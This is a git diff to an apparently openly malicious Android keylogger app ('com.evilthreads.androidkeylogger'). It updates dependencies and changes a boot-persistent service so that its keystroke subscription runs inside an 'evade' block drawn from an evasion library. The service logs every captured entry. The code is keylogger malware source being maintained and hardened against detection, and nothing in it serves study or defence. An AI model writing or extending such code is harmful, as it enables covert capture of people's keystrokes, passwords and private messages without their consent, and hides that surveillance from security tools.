diff --git a/app/build.gradle b/app/build.gradle index a5cf7dc..15b7f22 100644 --- a/app/build.gradle +++ b/app/build.gradle @@ -4,7 +4,7 @@ apply plugin: 'kotlin-android-extensions' android { compileSdkVersion 30 - buildToolsVersion "30.0.1" + buildToolsVersion "30.0.2" defaultConfig { applicationId "com.evilthreads.androidkeylogger" @@ -27,12 +27,12 @@ android { dependencies { implementation fileTree(dir: "libs", include: ["*.jar"]) implementation "org.jetbrains.kotlin:kotlin-stdlib:$kotlin_version" - implementation 'androidx.core:core-ktx:1.3.1' + implementation 'androidx.core:core-ktx:1.3.2' implementation 'androidx.appcompat:appcompat:1.2.0' implementation 'androidx.constraintlayout:constraintlayout:2.0.1' implementation "androidx.lifecycle:lifecycle-service:2.2.0" implementation 'com.github.evilthreads669966:evademe:1.0' - implementation 'com.github.evilthreads669966:bootlaces:1.0' + implementation 'com.github.evilthreads669966:bootlaces:2.1' implementation "androidx.lifecycle:lifecycle-runtime-ktx:2.2.0" implementation project(path: ':Keylogger') testImplementation 'junit:junit:4.12' diff --git a/app/src/main/java/com/evilthreads/androidkeylogger/MyService.kt b/app/src/main/java/com/evilthreads/androidkeylogger/MyService.kt index 38d1e95..aaf93d3 100644 --- a/app/src/main/java/com/evilthreads/androidkeylogger/MyService.kt +++ b/app/src/main/java/com/evilthreads/androidkeylogger/MyService.kt @@ -2,7 +2,8 @@ package com.evilthreads.androidkeylogger import android.util.Log import androidx.lifecycle.lifecycleScope -import com.candroid.bootlaces.BootService +import com.candroid.bootlaces.LifecycleBootService +import com.evilthreads.evade.evade import com.evilthreads.keylogger.Keylogger /* @@ -25,11 +26,13 @@ import com.evilthreads.keylogger.Keylogger ............\..............( ..............\.............\... */ -class MyService: BootService() { +class MyService: LifecycleBootService() { init { - lifecycleScope.launchWhenCreated { - Keylogger.subscribe { entry -> - Log.d("KEYLOGGER", entry.toString()) + evade { + lifecycleScope.launchWhenCreated { + Keylogger.subscribe { entry -> + Log.d("KEYLOGGER", entry.toString()) + } } } }